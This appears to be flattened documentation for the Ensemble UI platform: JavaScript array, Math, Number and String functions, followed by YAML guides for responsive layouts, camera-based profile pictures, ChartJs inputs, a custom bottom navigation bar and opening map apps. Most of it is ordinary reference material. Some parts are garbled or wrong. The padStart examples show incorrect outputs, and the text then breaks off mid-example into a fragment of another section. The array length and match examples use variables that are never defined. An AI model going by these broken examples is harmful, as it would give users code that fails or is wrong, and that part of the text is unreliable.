    -mapFunction (Function, optional): A function to transform the values found at the path. This function is called with one argument: a list containing the current value. Pass `null` if not needed - -#### Returns -A list of values found at the specified JSON path. If mapFunction is provided, the list will contain the transformed values. - -Example - -```js -var obj = { - 'name': 'John', - 'age': 30, - 'city': 'New York' -}; - -var result = obj.path('$.name', (val) => val[0].toUpperCase()); -console.log(result); // Outputs: ["J"] -``` -# Array -Arrays behave exactly as they would in regular javascript. You can access an item in the array with the index e.g. `myArray[0]` -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Properties -### length -Returns the length of the array. Works exactly like the javascript arrays. - -**Example:** - -```javascript -var numbers = [1, 4, 9]; -console.log(roots.length); // 3 -``` - -## Methods -### map - -The `map()` method creates a new array populated with the results of calling a provided function on every element in the calling array. - -**Parameters:** - -- `callback`: Function that produces an element of the new array, taking two arguments: - - `currentValue`: The current element being processed in the array. - - `index`: The index of the current element being processed in the array. - -**Return value:** - -A new array with each element being the result of the callback function. - -**Example:** - -```javascript -var numbers = [1, 4, 9]; -var squares = numbers.map(function(num, index) { - return num * num; -}); -console.log(squares); // [1, 16, 81] -``` - -### forEach - -Executes a provided function once for each array element. - -**Parameters:** - -- `callback`: Function to execute on each element, taking two arguments: - - `currentValue`: The current element being processed. - - `index`: The index of the current element being processed. - -**Return value:** - -`undefined`. - -**Example:** - -```javascript -var numbers = [1, 2, 3]; -numbers.forEach(function(num, index) { - console.log('Number:', num, 'at index:', index); -}); -``` - -### reduce - -The `reduce()` method executes a reducer function on each element of the array, resulting in a single output value. - -**Parameters:** - -- `callback`: A function to execute on each element in the array (except for the first, if no initialValue is provided), taking four arguments: - - `accumulator`: The accumulator accumulates the callback's return values. - - `currentValue`: The current element being processed. -- `initialValue` (optional): A value to use as the first argument to the first call of the callback. - -**Return value:** - -The single value that results from the reduction. - -**Example:** - -```javascript -var numbers = [1, 2, 3, 4]; -var sum = numbers.reduce(function(total, num) { - return total + num; -}, 0); -console.log(sum); // 10 -``` - -### indexOf - -Returns the first index at which a given element can be found in the array, or -1 if it is not present. - -**Parameters:** - -- `searchElement`: The element to locate in the array. - -**Return value:** - -The first index of the element in the array; -1 if not found. - -**Example:** - -```javascript -var fruits = ['apple', 'banana', 'cantaloupe', 'blueberry']; -var index = fruits.indexOf('banana'); -console.log(index); // 1 -``` - -### join - -Joins all elements of an array into a string. - -**Parameters:** - -- `separator` (optional): Specifies a string to separate each pair of adjacent elements of the array. The separator is converted to a string if necessary. If omitted, the array elements are separated with a comma. - -**Return value:** - -A string with all array elements joined. - -**Example:** - -```javascript -var elements = ['Fire', 'Air', 'Water']; -console.log(elements.join()); // "Fire,Air,Water" -console.log(elements.join('')); // "FireAirWater" -console.log(elements.join('-')); // "Fire-Air-Water" -``` - -### pop - -Removes the last element from an array and returns that element. This method changes the length of the array. - -**Parameters:** - -None. - -**Return value:** - -The removed element from the array; `undefined` if the array is empty. - -**Example:** - -```javascript -var plants = ['broccoli', 'cauliflower', 'cabbage', 'kale', 'tomato']; -console.log(plants.pop()); // "tomato" -console.log(plants); // ["broccoli", "cauliflower", "cabbage", "kale"] -``` - -### push - -Adds one or more elements to the end of an array and returns the new length of the array. - -**Parameters:** - -- `elementN`: The elements to add to the end of the array. - -**Return value:** - -The new length of the array. - -**Example:** - -```javascript -var animals = ['pigs', 'goats', 'sheep']; -var count = animals.push('cows'); -console.log(count); // 4 -console.log(animals); // ["pigs", "goats", "sheep", "cows"] -``` - -### slice - -The `slice()` method returns a shallow copy of a portion of an array into a new array object selected from `start` to `end` (end not included) where `start` and `end` represent the index of items in that array. The original array will not be modified. - -**Parameters:** - -- `start`: Zero-based index at which to start extraction. -- `end` (optional): Zero-based index before which to end extraction. The slice extracts up to but not including `end`. - -**Return value:** - -A new array containing the extracted elements. - -**Example:** - -```javascript -var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']; -var citrus = fruits.slice(1, 3); -console.log(citrus); // ['Orange', 'Lemon'] -``` - -### some - -The `some()` method tests whether at least one element in the array passes the test implemented by the provided function. It returns a Boolean value. - -**Parameters:** - -- `callback`: Function to test for each element, taking one argument: - - `currentValue`: The current element being processed in the array. - -**Return value:** - -`true` if the callback function returns a truthy value for any array element; otherwise, `false`. - -**Example:** - -```javascript -var array = [1, 2, 3, 4, 5]; -var even = function(element) { - return element % 2 === 0; -}; -console.log(array.some(even)); // true -``` - -### every - -The `every()` method tests whether all elements in the array pass the test implemented by the provided function. It returns a Boolean value. - -**Parameters:** - -- `callback`: Function to test for each element, taking one argument: - - `currentValue`: The current element being processed in the array. - -**Return value:** - -`true` if the callback function returns a truthy value for every array element; otherwise, `false`. - -**Example:** - -```javascript -var isBelowThreshold = function(currentValue) { - return currentValue < 40; -}; -var array = [1, 30, 39, 29, 10, 13]; -console.log(array.every(isBelowThreshold)); // true -``` - -### findIndex - -The `findIndex()` method returns the index of the first element in the array that satisfies the provided testing function. Otherwise, it returns -1, indicating that no element passed the test. - -**Parameters:** - -- `callback`: Function to execute on each value in the array, taking one argument: - - `currentValue`: The current element being processed. - -**Return value:** - -The index of the first element in the array that passes the test; otherwise, -1. - -**Example:** - -```javascript -var array = [5, 12, 8, 130, 44]; -var isLargeNumber = function(element) { - return element > 13; -}; -console.log(array.findIndex(isLargeNumber)); // 3 -``` - -### fill - -The `fill()` method changes all elements in an array to a static value, from a start index (default zero) to an end index (default array.length). It returns the modified array. - -**Parameters:** - -- `value`: Value to fill the array with. -- `start` (optional): Start index, default 0. -- `end` (optional): End index, default array length. - -**Return value:** - -The modified array. - -**Example:** - -```javascript -var array = [1, 2, 3, 4]; -console.log(array.fill(0, 2, 4)); // [1, 2, 0, 0] -console.log(array.fill(5, 1)); // [1, 5, 5, 5] -console.log(array.fill(6)); // [6, 6, 6, 6] -``` - -### shift - -The `shift()` method removes the first element from an array and returns that removed element. This method changes the length of the array. - -**Parameters:** - -None. - -**Return value:** - -The removed element from the array; `null` if the array is empty. - -**Example:** - -```javascript -var myFish = ['angel', 'clown', 'mandarin', 'surgeon']; -console.log('Before:', JSON.stringify(myFish)); -var shifted = myFish.shift(); -console.log('After:', JSON.stringify(myFish)); -console.log('Removed:', shifted); -// Before: ["angel", "clown", "mandarin", "surgeon"] -// After: ["clown", "mandarin", "surgeon"] -// Removed: angel -``` - -### unshift - -The `unshift()` method adds one or more elements to the beginning of an array and returns the new length of the array. - -**Parameters:** - -- `...elements`: The elements to add to the front of the array. - -**Return value:** - -The new length of the array. - -**Example:** - -```javascript -var myArray = [1, 2, 3]; -console.log(myArray.unshift(4, 5)); // 5 -console.log(myArray); // [4, 5, 1, 2, 3] -``` - -### splice - -The `splice()` method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. - -**Parameters:** - -- `start`: The index at which to start changing the array. -- `deleteCount`: The number of elements in the array to remove from `start`. -- `...items`: The elements to add to the array, beginning from `start`. - -**Return value:** - -An array containing the deleted elements. - -**Example:** - -```javascript -var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; -var removed = myFish.splice(3, 2); -console.log(myFish); // ["angel", "clown", "drum"] -console.log(removed); // ["mandarin", "sturgeon"] -``` - -### find - -The `find()` method returns the value of the first element in the provided array that satisfies the provided testing function. If no values satisfy the testing function, `-1` is returned. - -**Parameters:** - -- `callback`: A function to execute on each value in the array until the function returns true, indicating that the satisfying element was found. - -**Return value:** - -The first element in the array that passes the test; `-1` if no elements pass the test. - -**Example:** - -```javascript -var array = [5, 12, 8, 130, 44]; -var found = array.find(function(element) { - return element > 10; -}); -console.log(found); // 12 -``` - -### includes - -The `includes()` method determines whether an array includes a certain value among its entries, returning true or false as appropriate. - -**Parameters:** - -- `searchElement`: The element to search for. - -**Return value:** - -`true` if the array includes the element, and `false` otherwise. - -**Example:** - -```javascript -var array = [1, 2, 3]; -console.log(array.includes(2)); // true -console.log(array.includes(4)); // false -``` - ---- - -# JavaScript Math -Provides most of the functions exposed by the [Math library](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math) in JS. - -1. **Math.floor()**: - - Returns the largest integer less than or equal to a given number. - ```javascript - console.log(Math.floor(4.7)); // Output: 4 - ``` - -2. **Math.abs()**: - - Returns the absolute value of a number. - ```javascript - console.log(Math.abs(-4.7)); // Output: 4.7 - ``` - -3. **Math.ceil()**: - - Returns the smallest integer greater than or equal to a given number. - ```javascript - console.log(Math.ceil(4.4)); // Output: 5 - ``` - -4. **Math.round()**: - - Rounds a number to the nearest integer. - ```javascript - console.log(Math.round(4.4)); // Output: 4 - ``` - -5. **Math.trunc()**: - - Truncates the decimal part of a number, returning the integer part. - ```javascript - console.log(Math.trunc(4.7)); // Output: 4 - ``` - -6. **Math.log()**: - - Returns the natural logarithm (base e) of a number. - ```javascript - console.log(Math.log(10)); // Output: 2.302585092994046 - ``` - -7. **Math.pow()**: - - Returns the base to the exponent power. - ```javascript - console.log(Math.pow(2, 3)); // Output: 8 - ``` - -8. **Math.acos()**: - - Returns the arccosine (in radians) of a number. - ```javascript - console.log(Math.acos(0.5)); // Output: 1.0471975511965979 - ``` - -9. **Math.asin()**: - - Returns the arcsine (in radians) of a number. - ```javascript - console.log(Math.asin(0.5)); // Output: 0.5235987755982989 - ``` - -10. **Math.atan()**: - - Returns the arctangent (in radians) of a number. - ```javascript - console.log(Math.atan(1)); // Output: 0.7853981633974483 - ``` - -11. **Math.atan2()**: - - Returns the arctangent of the quotient of its arguments. - ```javascript - console.log(Math.atan2(1, 1)); // Output: 0.7853981633974483 - ``` - -12. **Math.cos()**: - - Returns the cosine of a number. - ```javascript - console.log(Math.cos(0)); // Output: 1 - ``` - -13. **Math.exp()**: - - Returns e^x, where x is the argument. - ```javascript - console.log(Math.exp(1)); // Output: 2.718281828459045 - ``` - -14. **Math.max()**: - - Returns the largest of zero or more numbers. - ```javascript - console.log(Math.max(10, 20)); // Output: 20 - ``` - -15. **Math.min()**: - - Returns the smallest of zero or more numbers. - ```javascript - console.log(Math.min(10, 20)); // Output: 10 - ``` - -16. **Math.sin()**: - - Returns the sine of a number. - ```javascript - console.log(Math.sin(0)); // Output: 0 - ``` - -17. **Math.sqrt()**: - - Returns the square root of a number. - ```javascript - console.log(Math.sqrt(9)); // Output: 3 - ``` - -18. **Math.tan()**: - - Returns the tangent of a number. - ```javascript - console.log(Math.tan(0)); // Output: 0 - ``` - -19. **Math.random()**: - - Returns a random number between 0 and 1. - ```javascript - console.log(Math.random()); // Output: a random number between 0 and 1 - ``` - -Each of these functions can be called using the `Math` object followed by the function name and the necessary arguments enclosed in parentheses. - ---- - -# Number Functions - -This document covers JavaScript Number functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. - -### toFixed - -The `toFixed()` method in JavaScript is used to format a number using fixed-point notation. It takes one argument, which is the number of digits to appear after the decimal point. The method returns a string representation of the number with the specified number of decimal places. - -**Syntax:** - -```javascript -numObj.toFixed(digits); -``` - -**Parameters:** - -- `digits`: An integer specifying the number of digits to appear after the decimal point. This is required unlike in js where it is optional. - -**Example:** - -```javascript -var num = 123.456; -var fixedNum = num.toFixed(2); - -console.log(fixedNum); // Output: "123.46" -``` - -In this example, the `toFixed()` method is called on the `num` variable with the argument `2`. This means that the number will be formatted with two decimal places. The result is the string `"123.46"`. - ---- - -### toString - -The `toString()` method in JavaScript is used to convert a number to a string. It can also be used to represent the number in a different base (radix) by providing an optional argument. - -**Syntax:** - -```javascript -numObj.toString([radix]); -``` - -**Parameters:** - -- `radix` (Optional): An integer between 2 and 36 that represents the base to use for representing numeric values. The default value is 10. - -**Example:** - -```javascript -var num = 42; -var numStr = num.toString(); -var numStrInBase16 = num.toString(16); - -console.log(numStr); // Output: "42" -console.log(numStrInBase16); // Output: "2a" -``` - -In this example, the `toString()` method is called on the `num` variable without any arguments, which means that the number will be converted to a string in base 10 (decimal). The result is the string `"42"`. - -The `toString()` method is then called again on the `num` variable, but this time with the argument `16`. This means that the number will be converted to a string in base 16 (hexadecimal). The result is the string `"2a"`. - ---- - -# String Functions - -This document covers JavaScript String functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. - -- [Code:String in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/bf9e503e-286b-437a-a692-14d0d5814918) has examples for using the String functions. Copy it into your own app and play around. -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -### length - -The `length` property returns the length of the string - -**Example:** - -```javascript -var str = "Hello"; -var len = str.length; -console.log(len); // 5 -``` - -### indexOf - -The `indexOf()` method returns the index of the first occurrence of the specified value in a string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var index = str.indexOf("world"); -console.log(index); // 7 -``` - -### lastIndexOf - -The `lastIndexOf()` method returns the index of the last occurrence of the specified value in a string. - -**Example:** - -```javascript -var str = "Hello, world! world!"; -var index = str.lastIndexOf("world"); -console.log(index); // 14 -``` - -### charAt - -The `charAt()` method returns the character at the specified index in a string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var char = str.charAt(7); -console.log(char); // 'w' -``` - -### endsWith - -The `endsWith()` method determines whether a string ends with the characters of a specified string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var result = str.endsWith("world!"); -console.log(result); // true -``` - -### includes - -The `includes()` method determines whether a string contains the characters of a specified string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var result = str.includes("world"); -console.log(result); // true -``` - -### toLowerCase - -The `toLowerCase()` method returns the calling string value converted to lowercase. - -**Example:** - -```javascript -var str = "Hello, World!"; -var lowerCaseStr = str.toLowerCase(); -console.log(lowerCaseStr); // "hello, world!" -``` - -### toUpperCase - -The `toUpperCase()` method returns the calling string value converted to uppercase. - -**Example:** - -```javascript -var str = "Hello, World!"; -var upperCaseStr = str.toUpperCase(); -console.log(upperCaseStr); // "HELLO, WORLD!" -``` -### trim -The trim() method removes whitespace from both ends of a string. - -```js -var str = " Hello, world! "; -var result = str.trim(); -console.log(result); // "Hello, world!" -``` -### trimStart -The trimStart() method removes whitespace from the beginning of a string. - -```js -var str = " Hello, world!"; -var result = str.trimStart(); -console.log(result); // "Hello, world!" -``` -### trimEnd -The trimEnd() method removes whitespace from the end of a string. - -```js -var str = "Hello, world! "; -var result = str.trimEnd(); -console.log(result); // "Hello, world!" -``` -### repeat -The `repeat()` method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together. - -```js -var str = "Hello "; -var result = str.repeat(3); -console.log(result); // "Hello Hello Hello " -``` - -### search -The `search()` method executes a search for a match between a regular expression and this String object. - -```js -var str = "Hello, world!"; -var result = str.search(/world/); -console.log(result); // 7 -``` - -### slice -The `slice()` method extracts a section of a string and returns it as a new string, without modifying the original string. - -```js -var str = "Hello, world!"; -var result = str.slice(7, 12); -console.log(result); // "world" -``` - -### substr -The `substr()` method returns a portion of the string, starting at the specified index and extending for a given number of characters afterward. - -```js -var str = "Hello, world!"; -var result = str.substr(7, 5); -console.log(result); // "world" -``` - -### match - -The `match()` method retrieves the result of matching a string against a regular expression and returns null in case there is no match. - -***Note:*** You can specify the regex flags such as i, g, m, s and u. When `g` (global) is specified, the operation will be executed on the whole string. See the following example. - -**Example:** - -```javascript -var str = "Hello, world! world!"; -var regex = /world/; -var result = str.match(regex); -console.log(result); // "world" - -regex = /world/g; //`g` flag has been specified -var result = str.match(regex); //due to the `g` flag, this is the same as String.matchAll -console.log(matches[0]); // "world" -console.log(matches[1]); // "world" -``` - -### matchAll - -The `matchAll()` method returns an array of all the matched strings or an empty array in case there is no match. - -**Example:** - -```javascript -var str = "Hello, world! world!"; -var regex = /world/; -var matches = str.matchAll(regex);//same as specifying the `g` flag in the regex -console.log(matches[0]); // "world" -console.log(matches[1]); // "world" -``` - -### padStart - -The `padStart()` method pads the current string with another string (multiple times, if needed) on the left until the resulting string reaches the given length. - -- If width is already smaller than or equal to `this.length`, no padding is added. A negative `width` is treated as zero. -- The second argument (string to be padded with) is optional. When not specified, space is used for padding -- If padding has length different from 1, the result will not have length width. This may be useful for cases where the padding is a longer string representing a single character, like " " or "\u{10002}". In that case, the user should make sure that this.length is the correct measure of the string's length. - -**Example:** - -```javascript -var str = "world"; -var paddedStr = str.padStart(6, "Hello"); -console.log(paddedStr); // "Helloworld" -paddedStr = str.padStart(10, "Hello"); -console.log(paddedStr); // "HelloHelloHelloHelloHelloworld" -paddedStr = str.padStart(8, "<"); -console.log(paddedStr); // "<< 480 ? 16 : 8 }" -``` - - -## 2. GridView's built-in breakpoints - -[GridView widget](#gridview) includes built-in responsive breakpoints. - -You can pass 1, 3, or 5 values to `horizontalTileCount` property to make the grid responsive based on predefined set of breakpoints. - -| Breakpoint | Width | -| --- | --- | -| xSmall | width <= 480 | -| Small | width > 480 && width <= 800 | -| Medium | width > 800 && width <= 1200 | -| Large | width > 1200 && width <= 1600 | -| XLarge | width > 1600 | - -GridView's horizontalTileCount can be: - -- 1 number - number of tiles for all breakpoints -- 3 numbers - * first number corresponds to xSmall and Small, - * second number corresponds to Medium - * last numner corresponds to xLarge and Large -- 5 numbers, corresponding to each breakpoint - -When not specified, the horizontal tile count is automatic based on resolution. - ---- - -In this example, depending on the available width, there will be 3 to 5 items per row. - -```yaml -GridView: - styles: - horizontalTileCount: 3 4 5 - -# Full example here: -# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/WS6fad3K96prUBXM4Hde -``` - -![Flex](public/images/responsive-grid.png) - -## 3. Wrap content with Flow widget - -[Flow widget](#flow) displays its children horizontally and wraps the children when it runs out of horizontal space. - -```yaml -Flow: - styles: - gap: 16 - lineGap: 16 - children: - - MyItem - -# Full example here: -# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/YbsqXNaXL5kpxKavlGKQ -``` - -![Flow](public/images/responsive-flow.png) - -## 4. Toggle between horizontal and vertical layouts with Flex widget - -[Flex widget](#flex) dynamically switches between a Row or a Column based on the `direction` property. - -```yaml -Flex: - styles: - direction: '${device.width > 500 ? "horizontal" : "vertical"}' - -# Full example here: -# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/jLdWFkmrfgkhuaON568d - -``` - -![Flex](public/images/responsive-flex.png) - ---- - -# Use device's camera for updating profile picture - -This guide shows the typical interaction for updating a user's profile picture in a native app, where user can take a photo or pick an existing image from device's gallery. To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). - -Here's the experience we'll work toward: - -
    - -## 1. Display user image with an icon - -First, call the API that return's user image and pass the value to the Avatar widget. Using styles properties, we can display the avatar as a circle with a border. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - - body: - Column: - styles: - mainAxis: center - children: - - Avatar: - source: ${getUser.body.results[0].picture.large} - styles: - height: 100 - width: 100 - borderRadius: 100 - borderColor: blue - borderWidth: 2 - margin: 2 - -API: - getUser: - uri: https://randomuser.me/api/?nat=us&randomapi - method: GET -``` - - -To display an icon on top of the avatar, we use a the Stack widget and pass these children, in this order: - -1. Avatar -2. Icon - -The Stack widget renders each child on top of the previous one. By setting `styles.alignChildren` to `bottomRight`, we can achive the following: - - - - -```yaml - - Stack: - styles: - alignChildren: bottomRight - children: - - Avatar: - source: ${getUser.body.results[0].picture.large} - styles: - height: 100 - width: 100 - borderRadius: 100 - borderColor: blue - borderWidth: 2 - margin: 2 - - Icon: - name: camera_line - library: remix - styles: - size: 20 - backgroundColor: white - color: blue - padding: 4 - borderColor: blue - borderRadius: 200 - borderWidth: 2 -``` - - -## 2. onTap, display a bottom sheet - -When user taps the profile image, we want to display a bottom sheet with two buttons: - -
    - -To achieve the above, first wrap the Stack widget inside a Column widget so we can add an onTop to the Column. onTap, we use `showBottomModal` action to open a bottom sheet: - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - Column: - styles: - mainAxis: center - crossAxis: stretch - children: - - Column: - styles: - crossAxis: center - onTap: - showBottomModal: - widget: ProfilePhotoOptions - options: - enableDrag: false - children: - - Stack: - # ... -``` - -Note that we're passing a widget named `ProfilePhotoOptions` to be rendered inside the bottom sheet. - -## 3. Add buttons to the bottom sheet - -Let's define the ProfilePhotoOptions widget, which includes two buttons: - -```yaml -ProfilePhotoOptions: - body: - Column: - styles: - crossAxis: stretch - mainAxisSize: min - gap: 24 - padding: 24 24 ${device.safeAreaBottom} 24 - children: - - Button: - label: Take photo - - Button: - label: Pick from gallery - -``` - -Note a few styling configurations: - -1. Buttons are placed inside a Column with `crossAxis: stretch`. This ensures the buttons width will stretch across the screen. -2. This Column also includes `mainAxisSize: min` to ensure the column just takes the space required by the children. -3. For padding, we use 24 on top, right, and left. For bottom padding, we use `${device.safeAreaBottom}` so that depending on the device, enough space is added to the bottom of the column. - - -## 4. Add action to Take Photo buttom - -Here, we use the `openCamera` action with following configurations: - -```yaml - - Button: - label: Take photo - onTap: - openCamera: - id: profilePhoto - options: - default: true - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - enableMicrophone: false - preview: false - maxCount: 1 - mode: photo - onComplete: - # Either upload the photo, or navigate to a screen where user can crop the photo - # for both options, use the id of the action to access the file: ${profilePhoto.files[0].path} - # navigateScreen: - # name: ProfileImageCropper - # inputs: - # newProfileImage: ${profilePhoto.files[0].path} -``` - -This configuration uses the device's native camera functionality, and limits it to one image. - - -## 5. Add action to Pick from Gallery buttom - -Here, we use the `pickFiles` action with following configurations: - -```yaml - - Button: - label: Pick from gallery - styles: - height: 50 - onTap: - pickFiles: - source: gallery - id: filepicker - allowMultiple: false - allowedExtensions: - - png - - jpeg - - jpg - onComplete: - # TODO - you can either use the selected photo, or navigate to a screen where user can crop the photo - # navigateScreen: - # name: ProfileImageCropper - # inputs: - # newProfileImage: ${filepicker.files[0].path} - -``` - -This configuration uses the device's native gallery, and limits it to one image. - ----- - - -To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). - ---- - -# Inputs to ChartJs - -The ChartJs widget in ensemble may sometime not accept variables in plain ChartJS widget so a better way to go about this is to use Code section in ensemble to define configuration for the ChartJs and there we can easily use the variables ( inputs ). In our example we will look how we use labels passed as inputs to the ChartJs custom widget and use them according to our need. - - -#### Custom Widget - - - -```yaml -Widget: - inputs: - - spending - - categories - - onLoad: | - - //@code - chart.config = { - type: 'doughnut', - data: { - labels: categories, - datasets: [{ - data: [608, 590, 200, 79, 163,231,637,63], - backgroundColor: ['#FCA06B','#C66CFC','#8145FF', '#29CB90', '#4DA9CC','#FCA034',"#8145FA","#814500"], - hoverOffset: 2, - borderWidth: 0 - }] - }, - options: { - aspectRatio: 1, - cutout: 80 , - plugins: { - legend: { - display: false - }, - tooltip: { - enabled: true, - position: "nearest" - } - }, - layout: { - padding: 0 - } - } - }; - - body: - Column: - styles: - gap: 12 - children: - - Row: - styles: { crossAxis: center, mainAxis: center, padding: 20 0 } - children: - - Stack: - styles: { alignChildren: center } - children: - - ChartJs: - id: chart - styles: { width: 200, height: 200 } - - - Column: - styles: { crossAxis: center, gap: 0, mainAxis: center } - children: - - Text: - text: Last 30 days - styles: - textStyle: - color: 0xFF667483 - fontSize: 10 - - Text: - text: "$${spending}" - styles: - textStyle: - color: 0xFF063940 - fontSize: 28 - textAlign: end -``` - -#### Screen Code - - -```yaml -Spendings: - inputs: - spending: ${ensemble.storage.spendingLastDays.toFixed(2)} - categories: ${ensemble.storage.categories} -``` - - -**Output** - -![Alt text](public/images/tips/image-8.png) - - -#### Explanation - -The _categories_ and _spending_ are our inputs passed to this Custom Widget from one of our screens. Categories is an array consisting of string values. This input array is used as a value for **labels** property in the CharJs configuration if you paid close attention to the code for [Custom Widget](#custom-widget). This is how we can pass inputs to ChartJs and make it dynamic. - ---- - -# How to modify the BottomNavBar with custom styling and widgets - -#### Steps - -1. Make a custom widget one for selected state and one for inactive state ( Not selected ). - - - -```yaml -Widget: - inputs: - - name - - icon - - color - - library - body: - Column: - styles: - mainAxis: spaceBetween - crossAxis: center - height: 50 - children: - - Icon: - icon: ${icon} - library: ${library} - styles: - color: ${color} - - Text: - text: ${name} - styles: - fontSize: 12 - color: ${color} -``` - - - -2. similarly for active navigation item . Use these widgets under widget for each item of the BottomNavBar as given. - - - -```yaml -menu: - BottomNavBar: - styles: - backgroundColor: white - items: - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Home - icon: home - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Home - icon: home - color: 0xFF4CA771 - library: fontAwesome - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Order - icon: shoppingBag - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Order - icon: shoppingBag - color: 0xFF4CA771 - library: fontAwesome - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Favourite - icon: heart - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Favourite - icon: solidHeart - color: 0xFF4CA771 - library: fontAwesome - selected: true - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Cart - icon: shoppingCart - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Cart - icon: shoppingCart - color: 0xFF4CA771 - library: fontAwesome -``` - - ---- - -# Open Maps with Coordinates on Android and iOS - -This guide explains how to open map applications with specific coordinates on Android and iOS devices. The examples demonstrate how to launch Google Maps or Apple Maps, depending on the platform, and also include the ability to use dynamic coordinates input. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/wCU2q0PQnNxmXqN4WyCV) - -## Implementation Overview - -The feature allows users to open their default map application (Google Maps or Apple Maps) with specific coordinates by clicking an icon. Depending on the user's device (Android, iOS, or Web), the appropriate map service will be launched. Additionally, users can enter dynamic coordinates to open any location. - -### Examples - -### Example 1: Open Google Maps with Static Coordinates - -This example demonstrates how to open a specific location in Google Maps using a simple icon click. - -**Sample Coordinates:** -- Latitude: `38.7946` -- Longitude: `106.5348` - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: Click on the icon to open location on Google Maps - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - openUrl: - url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) -``` - -#### Action Output Screenshot: - -
    -Output Screenshot -

    Clicking the icon will open Google Maps with the provided coordinates and label.

    -
    - - - -### Example 2: Open Apple Maps with Static Coordinates - -This example demonstrates how to open a specific location in Apple Maps. - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: Click on the icon to open location on Apple Maps - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - fontWeight: w300 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - openUrl: - url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies -``` -#### Action Output Screenshot: - -
    - Output Screenshot -

    Clicking the icon will open Apple Maps with the provided coordinates and label.

    -
    - - -### Example 3: Open Map Application Based on Device - -This example shows how to conditionally open the map application based on the user's device (Android, iOS, or Web). - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - fontWeight: w300 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - executeConditionalAction: - conditions: - - if: ${device.platform == "ios"} - action: - openUrl: - url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies - - elseif: ${device.platform == 'android'} - action: - openUrl: - url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) - - elseif: ${device.platform == 'web'} - action: - openUrl: - url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) -``` -#### Action Output Screenshot: -
    -
    - Output Screenshot -

    Output on Android

    -
    -
    - Output Screenshot -

    Output on Iphone

    -
    -
    - -### Example 4: Dynamic Coordinates Input - -In this example, users can input their own coordinates and label, which will dynamically open the respective map application based on the user's device. - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - label: Enter comma-separated Latitude and Longitude - id: mapsCoordinates - - TextInput: - label: Enter Label - id: mapslabel - - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - fontWeight: w300 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - executeConditionalAction: - conditions: - - if: ${device.platform == "ios"} - action: - openUrl: - url: https://maps.apple.com/?ll=${mapsCoordinates.value}&q=${mapslabel.value} - - elseif: ${device.platform == 'android'} - action: - openUrl: - url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) - - elseif: ${device.platform == 'web'} - action: - openUrl: - url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) -``` - ---- - -# Using navigate 